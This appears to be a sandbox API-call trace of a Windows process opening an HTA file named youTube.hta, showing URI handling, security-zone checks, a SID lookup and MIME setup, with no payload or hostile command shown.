[0194.952] IUri:GetAbsoluteUri (in: This=0x6d993c, pbstrAbsoluteUri=0x19fa20 | out: pbstrAbsoluteUri=0x19fa20*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.952] GetCurrentProcessId () returned 0x7a4
[0194.956] GetCurrentThreadId () returned 0x7a0
[0194.956] GetCurrentThreadId () returned 0x7a0
[0194.956] GetCurrentProcessId () returned 0x7a4
[0194.956] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6d9530
[0194.956] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0194.956] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.956] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.957] GetProcAddress (hModule=0x70a40000, lpProcName=0x1e5) returned 0x70a68740
[0194.957] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f600 | out: lpflOldProtect=0x19f600*=0x4) returned 1
[0195.071] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6d2cb8
[0195.071] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.071] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.071] malloc (_Size=0xac) returned 0x8604a0
[0195.071] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.072] GetKeyboardLayout (idThread=0x0) returned 0x4090409
[0195.072] GetKeyboardLayoutNameW (in: pwszKLID=0x19f62c | out: pwszKLID="00000409") returned 1
[0195.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6d9f60
[0195.072] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f668 | out: ppu=0x19f668) returned 0x0
[0195.072] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x19f648 | out: ppURI=0x19f648*=0x6d993c) returned 0x0
[0195.073] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0195.073] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0195.073] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0195.073] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f5fc, dwFlags=0x0 | out: pdwZone=0x19f5fc*=0xffffffff) returned 0x800c0011
[0195.074] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0195.074] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0195.074] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0195.074] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x2700, pPolicy=0x19f600, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x19f5e0 | out: pPolicy=0x19f600*=0x0, pdwOutFlags=0x19f5e0*=0x0) returned 0x0
[0195.083] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x2700, pPolicy=0x19f600, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x19f600*=0x0) returned 0x0
[0195.083] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0195.083] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0195.083] IUnknown:Release (This=0x6d993c) returned 0x6
[0195.083] IUnknown:Release (This=0x6d993c) returned 0x5
[0195.083] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0195.083] IUri:GetPropertyDWORD (in: This=0x6d993c, uriProp=0x11, pdwProperty=0x19f404, dwFlags=0x0 | out: pdwProperty=0x19f404*=0x9) returned 0x0
[0195.083] IUnknown:Release (This=0x6d993c) returned 0x5
[0195.083] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0195.083] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6dac28
[0195.084] IUnknown:QueryInterface (in: This=0x6ee367bc, riid=0x70a44c58*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x19d370 | out: ppvObject=0x19d370*=0x0) returned 0x80004002
[0195.084] IInternetSecurityManager:GetSecurityId (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pbSecurityId=0x19f488, pcbSecurityId=0x19f484*=0x200, dwReserved=0x0 | out: pbSecurityId=0x19f488*=0x0, pcbSecurityId=0x19f484*=0x200) returned 0x800c0011
[0195.084] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0195.084] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dac28 | out: hHeap=0x6b0000) returned 1
[0195.084] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6d97d0
[0195.084] memcpy_s (in: _Destination=0x6d97d0, _DestinationSize=0xa, _Source=0x19f488, _SourceSize=0xa | out: _Destination=0x6d97d0) returned 0x0
[0195.084] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6dac28
[0195.084] IUri:GetPropertyBSTR (in: This=0x6d993c, uriProp=0x3, pbstrProperty=0x19f804, dwFlags=0x2 | out: pbstrProperty=0x19f804*="") returned 0x1
[0195.084] IUri:GetPropertyBSTR (in: This=0x6d993c, uriProp=0x6, pbstrProperty=0x19f804, dwFlags=0x2 | out: pbstrProperty=0x19f804*="") returned 0x1
[0195.085] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.085] GetProcAddress (hModule=0x70a40000, lpProcName="CoInternetGetSession") returned 0x70aa8440
[0195.085] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f764 | out: lpflOldProtect=0x19f764*=0x4) returned 1
[0195.085] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x19f7ec, dwReserved=0x0 | out: ppIInternetSession=0x19f7ec*=0x6c52e0) returned 0x0
[0195.086] IInternetSession:RegisterNameSpace (This=0x6c52e0, pCF=0x6ed24f90, rclsid=0x6dcc1068, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0
[0195.086] IUnknown:AddRef (This=0x6ed24f90) returned 0x1
[0195.086] IInternetSession:RegisterNameSpace (This=0x6c52e0, pCF=0x6ed24fb0, rclsid=0x6dcc10a8, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0
[0195.086] IUnknown:AddRef (This=0x6ed24fb0) returned 0x1
[0195.101] IInternetSession:RegisterNameSpace (This=0x6c52e0, pCF=0x6ed25fa4, rclsid=0x6dcc1098, pwzProtocol="blob", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0
[0195.137] IUnknown:AddRef (This=0x6ed25fa4) returned 0x1
[0195.138] StrCmpICW (pszStr1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszStr2="res://ieframe.dll/PhishSite.htm") returned -12
[0195.138] StrCmpICW (pszStr1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszStr2="res://ieframe.dll/PhishSite_Iframe.htm") returned -12
[0195.138] StrCmpICW (pszStr1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszStr2="res://ieframe.dll/BlockSite.htm") returned -12
[0195.138] StrCmpICW (pszStr1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszStr2="res://ieframe.dll/PhishSite_Iframe.htm") returned -12
[0195.138] LoadLibraryExW (lpLibFileName="urlmon.dll", hFile=0x0, dwFlags=0x0) returned 0x70a40000
[0195.139] GetProcAddress (hModule=0x70a40000, lpProcName=0x1d7) returned 0x70ab6570
[0195.139] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f714 | out: ppvObject=0x19f714*=0x6c4c5c) returned 0x0
[0195.140] IUnknown:Release (This=0x6c4c5c) returned 0xa
[0195.140] IUnknown:AddRef (This=0x6c4c5c) returned 0xb
[0195.140] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.140] malloc (_Size=0xa8) returned 0x6309db8
[0195.141] IUnknown:AddRef (This=0x6c4c5c) returned 0xc
[0195.141] IUri:GetSchemeName (in: This=0x6c4c5c, pbstrSchemeName=0x19f6d0 | out: pbstrSchemeName=0x19f6d0*="file") returned 0x0
[0195.141] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f6c8 | out: ppvObject=0x19f6c8*=0x6c4c5c) returned 0x0
[0195.141] IUnknown:Release (This=0x6c4c5c) returned 0xc
[0195.142] IUnknown:AddRef (This=0x6c4c5c) returned 0xd
[0195.142] IUnknown:Release (This=0x6c4c5c) returned 0xc
[0195.142] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.142] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.142] malloc (_Size=0xbc) returned 0x6309e68
[0195.143] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.143] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x19f784 | out: pdwScheme=0x19f784*=0x9) returned 0x0
[0195.143] IUri:IsEqual (in: This=0x6d993c, pUri=0x6c4c5c, pfEqual=0x19f7d4 | out: pfEqual=0x19f7d4*=1) returned 0x0
[0195.143] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.143] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5538
[0195.144] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.144] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.144] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.144] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.149] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.149] malloc (_Size=0xc4) returned 0x6309f30
[0195.149] PostMessageW (hWnd=0xa01d6, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0195.150] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.150] IUnknown:AddRef (This=0x6c52e0) returned 0x3
[0195.150] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.150] IUnknown:AddRef (This=0x6c4c5c) returned 0xd
[0195.150] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f708 | out: ppvObject=0x19f708*=0x6c4c5c) returned 0x0
[0195.151] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0195.151] IUnknown:AddRef (This=0x6c4c5c) returned 0xe
[0195.151] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.151] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6d29e8
[0195.151] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x19f3cc, dwReserved=0x0 | out: ppSM=0x19f3cc*=0x6c0b60) returned 0x0
[0195.152] IUnknown:QueryInterface (in: This=0x6c0b60, riid=0x6dcd4ed8*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x19f3d0 | out: ppvObject=0x19f3d0*=0x6c0b60) returned 0x0
[0195.152] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c57d8
[0195.152] IInternetSecurityManager:SetSecuritySite (This=0x6c0b60, pSite=0x6c57dc) returned 0x0
[0195.152] IUnknown:AddRef (This=0x6c0b60) returned 0x3
[0195.152] IUnknown:Release (This=0x6c0b60) returned 0x2
[0195.153] IUnknown:Release (This=0x6c0b60) returned 0x1
[0195.153] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f3cc | out: ppvObject=0x19f3cc*=0x6c4c5c) returned 0x0
[0195.153] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0195.153] IUnknown:AddRef (This=0x6c4c5c) returned 0xf
[0195.153] QueryPerformanceCounter (in: lpPerformanceCount=0x19f358 | out: lpPerformanceCount=0x19f358*=3012989573481) returned 1
[0195.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f360 | out: lpSystemTimeAsFileTime=0x19f360*(dwLowDateTime=0x72088bf6, dwHighDateTime=0x1d7e6dd))
[0195.153] QueryPerformanceCounter (in: lpPerformanceCount=0x19f3b8 | out: lpPerformanceCount=0x19f3b8*=3012989588387) returned 1
[0195.154] IUnknown:AddRef (This=0x6c4c5c) returned 0x10
[0195.154] IUnknown:AddRef (This=0x6c4c5c) returned 0x11
[0195.154] IUnknown:AddRef (This=0x6c4c5c) returned 0x12
[0195.154] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f3b0 | out: ppvObject=0x19f3b0*=0x6c4c5c) returned 0x0
[0195.154] IUnknown:Release (This=0x6c4c5c) returned 0x12
[0195.154] IUnknown:AddRef (This=0x6c4c5c) returned 0x13
[0195.154] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x6450d98 | out: pdwScheme=0x6450d98*=0x9) returned 0x0
[0195.154] IMoniker:IsSystemMoniker (in: This=0x6c2280, pdwMksys=0x19f454 | out: pdwMksys=0x19f454*=0x6) returned 0x0
[0195.154] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.157] GetProcAddress (hModule=0x70a40000, lpProcName="CoInternetParseIUri") returned 0x70aa8370
[0195.157] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f354 | out: lpflOldProtect=0x19f354*=0x4) returned 1
[0195.158] CoInternetParseIUri (in: pIUri=0x6c4c5c, ParseAction=0x9, dwFlags=0x0, pwzResult=0x19f458, cchResult=0x104, pcchResult=0x19f424, dwReserved=0x0 | out: pwzResult="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", pcchResult=0x19f424) returned 0x0
[0195.159] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x5c) returned 0x6dad08
[0195.159] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", lpFindFileData=0x19f180 | out: lpFindFileData=0x19f180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52f081d0, ftCreationTime.dwHighDateTime=0x1d7e6dd, ftLastAccessTime.dwLowDateTime=0x52f081d0, ftLastAccessTime.dwHighDateTime=0x1d7e6dd, ftLastWriteTime.dwLowDateTime=0x538c8fb5, ftLastWriteTime.dwHighDateTime=0x1d7e6dd, nFileSizeHigh=0x0, nFileSizeLow=0xd0e, dwReserved0=0x65006d, dwReserved1=0x74006e, cFileName="youTube.hta", cAlternateFileName="")) returned 0x6c2240
[0195.160] FindClose (in: hFindFile=0x6c2240 | out: hFindFile=0x6c2240) returned 1
[0195.160] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f3cc | out: ppvObject=0x19f3cc*=0x6c4c5c) returned 0x0
[0195.160] IUnknown:Release (This=0x6c4c5c) returned 0x13
[0195.160] IUnknown:AddRef (This=0x6c4c5c) returned 0x14
[0195.161] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6dad70
[0195.161] IInternetSession:CreateBinding (in: This=0x6c52e0, pbc=0x0, szUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x19f2e8, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x19f2e8*=0x6c5dd8) returned 0x0
[0195.165] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6dc96158*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x19f2d0 | out: ppvObject=0x19f2d0*=0x0) returned 0x80004002
[0195.165] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6dc96148*(Data1=0xeb5cda44, Data2=0x5086, Data3=0x44fe, Data4=([0]=0xa9, [1]=0xb1, [2]=0xc6, [3]=0x42, [4]=0x13, [5]=0x53, [6]=0xa5, [7]=0x46)), ppvObject=0x19f2d8 | out: ppvObject=0x19f2d8*=0x6c5dec) returned 0x0
[0195.174] IUnknown:Release (This=0x6c5dec) returned 0x1
[0195.174] IUnknown:AddRef (This=0x6c5dd8) returned 0x2
[0195.201] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x88) returned 0x6dade8
[0195.202] IUnknown:AddRef (This=0x6c0b60) returned 0x2
[0195.202] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.203] GetProcAddress (hModule=0x748e0000, lpProcName="SHStrDupW") returned 0x749175c0
[0195.203] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f230 | out: lpflOldProtect=0x19f230*=0x4) returned 1
[0195.203] SHStrDupW (in: psz="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppwsz=0x6dae5c | out: ppwsz=0x6dae5c*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0195.205] GetCurrentProcess () returned 0xffffffff
[0195.205] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f29c | out: TokenHandle=0x19f29c*=0x29c) returned 1
[0195.205] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.206] LoadLibraryExA (lpLibFileName="api-ms-win-downlevel-advapi32-l2-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x75740000
[0195.206] GetProcAddress (hModule=0x75740000, lpProcName="ConvertSidToStringSidW") returned 0x7574d3c0
[0195.207] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f21c | out: lpflOldProtect=0x19f21c*=0x4) returned 1
[0195.207] ConvertSidToStringSidW (in: Sid=0x6c6550*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), StringSid=0x19f2ac | out: StringSid=0x19f2ac*="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 1
[0195.207] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe4) returned 0x6df7b8
[0195.207] _vsnwprintf (in: _Buffer=0x6df7b8, _BufferCount=0x71, _Format="%s%s", _ArgList=0x19f284 | out: _Buffer="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1560258661-3990802383-1811730007-1000") returned 112
[0195.207] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1560258661-3990802383-1811730007-1000", ulOptions=0x0, samDesired=0x101, phkResult=0x19f2a8 | out: phkResult=0x19f2a8*=0x0) returned 0x2
[0195.208] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6df7b8 | out: hHeap=0x6b0000) returned 1
[0195.208] LocalFree (hMem=0x6df750) returned 0x0
[0195.208] LocalFree (hMem=0x6c6550) returned 0x0
[0195.208] CloseHandle (hObject=0x29c) returned 1
[0195.222] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6ddc2570*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6dae6c | out: ppvObject=0x6dae6c*=0x6c5dd8) returned 0x0
[0195.222] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6dc96484*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6dae4c | out: ppvObject=0x6dae4c*=0x0) returned 0x80004002
[0195.222] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.236] IInternetProtocolRoot:Start (This=0x6c5dd8, szUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pOIProtSink=0x6dae64, pOIBindInfo=0x6dae20, grfPI=0x10, dwReserved=0x0) returned 0x0
[0195.239] IUnknown:QueryInterface (in: This=0x6dae64, riid=0x70a50d60*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x19f364 | out: ppvObject=0x19f364*=0x0) returned 0x80004002
[0195.239] IUnknown:AddRef (This=0x6dae64) returned 0x5
[0195.239] IUnknown:AddRef (This=0x6dae20) returned 0x6
[0195.239] IUnknown:QueryInterface (in: This=0x6dae20, riid=0x70a43ed8*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x19f310 | out: ppvObject=0x19f310*=0x6dae20) returned 0x0
[0195.240] IInternetBindInfoEx:GetBindInfoEx (in: This=0x6dae20, grfBINDF=0x6c5fc0, pbindinfo=0x6c5fc8, grfBINDF2=0x6c5fc4, pdwReserved=0x19f30c | out: grfBINDF=0x6c5fc0*=0x20483, pbindinfo=0x6c5fc8, grfBINDF2=0x6c5fc4*=0x20704000, pdwReserved=0x19f30c*=0x0) returned 0x0
[0195.241] IUnknown:Release (This=0x6dae20) returned 0x6
[0195.241] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.241] IInternetProtocolSink:ReportProgress (This=0x6dae64, ulStatusCode=0x1e, szStatusText=0x0) returned 0x0
[0195.242] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.242] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.242] IInternetProtocolSink:ReportProgress (This=0x6dae64, ulStatusCode=0xb, szStatusText="") returned 0x0
[0195.263] QueryPerformanceCounter (in: lpPerformanceCount=0x19eca0 | out: lpPerformanceCount=0x19eca0*=3013000507414) returned 1
[0195.263] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.263] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.264] IInternetProtocolSink:ReportProgress (This=0x6dae64, ulStatusCode=0x3f, szStatusText="3342") returned 0x0
[0195.264] _wtoi64 (_String="3342") returned 3342
[0195.264] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.264] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.264] IInternetProtocolSink:ReportProgress (This=0x6dae64, ulStatusCode=0xe, szStatusText="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0195.265] GetCurrentProcessId () returned 0x7a4
[0195.265] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.265] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.265] IInternetProtocolSink:ReportProgress (This=0x6dae64, ulStatusCode=0xd, szStatusText="application/hta") returned 0x0
[0195.265] RegisterClipboardFormatW (lpszFormat="text/html") returned 0xc0fd
[0195.266] RegisterClipboardFormatW (lpszFormat="text/plain") returned 0xc0fe
[0195.266] RegisterClipboardFormatW (lpszFormat="text/xml") returned 0xc122
[0195.266] RegisterClipboardFormatW (lpszFormat="application/xml") returned 0xc123
[0195.266] RegisterClipboardFormatW (lpszFormat="application/xhtml+xml") returned 0xc124
[0195.266] RegisterClipboardFormatW (lpszFormat="text/x-component") returned 0xc1c2
[0195.266] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc125
[0195.266] RegisterClipboardFormatW (lpszFormat="video/avi") returned 0xc116
[0195.267] RegisterClipboardFormatW (lpszFormat="video/x-msvideo") returned 0xc117
[0195.267] RegisterClipboardFormatW (lpszFormat="video/mpeg") returned 0xc118
[0195.267] RegisterClipboardFormatW (lpszFormat="video/quicktime") returned 0xc1c3
[0195.267] RegisterClipboardFormatW (lpszFormat="application/hta") returned 0xc1c4
[0195.267] RegisterClipboardFormatW (lpszFormat="text/cache-manifest") returned 0xc1c5
[0195.267] RegisterClipboardFormatW (lpszFormat="text/vtt") returned 0xc1c6
[0195.268] RegisterClipboardFormatW (lpszFormat="application/ttml+xml") returned 0xc1c7
[0195.268] RegisterClipboardFormatW (lpszFormat="application/ttaf+xml") returned 0xc1c8
[0195.268] RegisterClipboardFormatW (lpszFormat="text/json") returned 0xc1c9
[0195.268] RegisterClipboardFormatW (lpszFormat="application/x-javascript") returned 0xc1ca
[0195.268] RegisterClipboardFormatW (lpszFormat="image/x-png") returned 0xc10d
[0195.268] RegisterClipboardFormatW (lpszFormat="image/png") returned 0xc10e
[0195.268] RegisterClipboardFormatW (lpszFormat="image/jpeg") returned 0xc10b
[0195.268] RegisterClipboardFormatW (lpszFormat="image/pjpeg") returned 0xc10a
[0195.268] RegisterClipboardFormatW (lpszFormat="image/gif") returned 0xc109
[0195.268] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-dds") returned 0xc1cb
[0195.268] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc125
[0195.269] RegisterClipboardFormatW (lpszFormat="image/tiff") returned 0xc10c
[0195.269] RegisterClipboardFormatW (lpszFormat="image/bmp") returned 0xc10f
[0195.269] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-photo") returned 0xc114
[0195.269] RegisterClipboardFormatW (lpszFormat="image/x-wmf") returned 0xc112
[0195.269] RegisterClipboardFormatW (lpszFormat="image/x-emf") returned 0xc111
[0195.269] RegisterClipboardFormatW (lpszFormat="image/x-icon") returned 0xc113
[0195.287] QueryPerformanceCounter (in: lpPerformanceCount=0x19eb88 | out: lpPerformanceCount=0x19eb88*=3013002977172) returned 1
[0195.287] QueryPerformanceCounter (in: lpPerformanceCount=0x19eb50 | out: lpPerformanceCount=0x19eb50*=3013002988782) returned 1
[0195.287] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6da220
[0195.288] StrChrW (lpStart="application/hta", wMatch=0x3b) returned 0x0
[0195.288] StrCmpNICW (lpStr1="text/", lpStr2="appli", nChar=5) returned 19
[0195.288] StrCmpNICW (lpStr1="application/", lpStr2="application/", nChar=12) returned 0
[0195.288] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.288] IUnknown:AddRef (This=0x6dae64) returned 0x7
[0195.288] IUnknown:AddRef (This=0x6dae64) returned 0x8
